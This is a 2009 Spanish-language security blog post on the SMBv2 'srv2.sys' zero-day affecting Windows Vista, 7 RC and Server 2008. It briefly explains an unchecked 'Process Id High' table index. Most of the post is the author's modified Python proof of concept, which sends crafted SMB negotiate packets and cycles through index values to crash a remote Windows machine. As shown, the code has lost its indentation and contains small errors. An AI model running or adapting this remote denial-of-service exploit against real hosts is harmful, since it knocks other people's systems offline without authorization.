Bits y Lentejas

martes, 8 de septiembre de 2009

Windows Vista/7RC/2008 Server Vulnerables a un 0Day

No íbamos a ser los únicos que no poníamos esta noticia, :)

Bueno, antes de nada explicar en que consiste el problema.

Después de revisar varios datos, y comprobar directamente en el archivo vulnerable "srv2.sys" el problema, personalmente creo que el descubridor de la vuln. no se entero muy bien.

Autor: Laurent Gaffié
URL: http://g-laurent.blogspot.com/2009/09/windows-vista7-smb20-negotiate-protocol.html

El fallo esta al validar la entrada del "Process Id High" que se envia en dos bytes y es usado directamente como un indice en una tabla de funciones, lo que pasa es que el limite de esta tabla no esta comprobado al usar el parámetro, por eso se puede sobrepasar este limite. El driver después de obtener la dirección de la función, salta la ejecución a la dirección devuelta.

El descubridor define que poniendo en la parte alta del parametro un "&" provoca un fallo que hace que el sistema se vuelva inestable.

El problema es cuando, por casualidad, en la dirección que devuelve al buscar el indice 0x2600 es una dirección que no provoca un problema en el sistema, por eso algunas de las pruebas realizadas no colgaban los sistemas .

Como aportación he modificado el exploit original, buscando un valor que pueda colgar el sistema.

-- init --
#!/usr/bin/python

from socket import socket
from struct import *
import sys


def checkparams():
if len(sys.argv) != 2:
usage()
else:
return sys.argv[1], 445
return 0

def crashwin(host):
# Searching a memory position vuln
for i in range(0,65535):
buff = ("\x00\x00\x00\x90"
"\xff\x53\x4d\x42"
"\x72\x00\x00\x00"
"\x00\x18\x53\xc8"
+ pack('>H', i) + # Process ID High
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\xff\xff\xff\xfe\x00\x00"
"\x00\x00\x00\x6d\x00\x02\x50\x43"
"\x20\x4e\x45\x54\x57\x4f\x52\x4b"
"\x20\x50\x52\x4f\x47\x52\x41\x4d"
"\x20\x31\x2e\x30\x00\x02\x4c\x41"
"\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73"
"\x20\x66\x6f\x72\x20\x57\x6f\x72"
"\x6b\x67\x72\x6f\x75\x70\x73\x20"
"\x33\x2e\x31\x61\x00\x02\x4c\x4d"
"\x31\x2e\x32\x58\x30\x30\x32\x00"
"\x02\x4c\x41\x4e\x4d\x41\x4e\x32"
"\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02"
"\x53\x4d\x42\x20\x32\x2e\x30\x30"
"\x32\x00")

print "Trying crash the machine..."

s = socket()
try:
s.connect(host)
except:
print "Remote host not vulnerable"
break
sent = s.send(buff)
s.close()
if i > 0 and not sent:
print "Machine crashed!!!"
break

def headers():
print """SMBv2 Remote DoS
Author: Juan C. Montes based in the original PoC
Discovered by: Laurent Gaffie
Vuln to validate the Process Id High in 'srv2.sys'
Systems tryed affected:
- Windows Vista x86
- Windows 7 RC x86
"""

def usage():
print """usage: .%s """ % sys.argv[0]

# entry point
if __name__ == '__main__':
headers()
host = checkparams()
if host != 0:
crashwin(host)
-- end --


Espero que estos datos os sirvan de algo, :)

Un saludo.

Etiquetas: , ,

0 comentarios:

Publicar un comentario

Suscribirse a Enviar comentarios [Atom]



<< Inicio